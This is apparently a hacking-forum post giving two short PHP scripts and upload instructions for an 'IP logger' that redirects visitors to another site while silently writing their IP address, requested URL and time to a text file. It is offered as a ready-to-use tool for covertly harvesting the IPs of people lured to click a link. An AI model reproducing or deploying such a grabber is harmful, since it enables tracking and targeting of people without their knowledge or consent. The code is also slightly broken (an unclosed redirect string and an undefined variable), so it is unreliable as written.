This just gets peoples IP's and logs em, so make a txt file, and replace the "yourtxt.txt" in the script, to the name of your .txt, upload them and your good. The 'Location part, it just redirects you to that specified site.
Save this into a .php
Save this into a .php
- Code:
<?php
header( 'Location: Http\\[You must be registered and logged in to see this link.] ) ;
?>
<?php
$logfile = "yourtxt.txt";
$IP = $_SERVER['REMOTE_ADDR'];
$pagina = $_SERVER['REQUEST_URI'];
$datum = date("d-m-y / H:i ");
$data = "$variable \n => IP: $IP";
$data2 = "$variable \n => Date/Time: $datum \n";
$data3 = "$variable \n => Request URL: $pagina \n";
$data4 = "$variable \n ------------------------------------ $data $data2 ----------------------------------- \n";
$fp = fopen("$logfile", "a");
fwrite($fp, $data4);
fclose($fp);
echo "<br /><br />$datum";
?>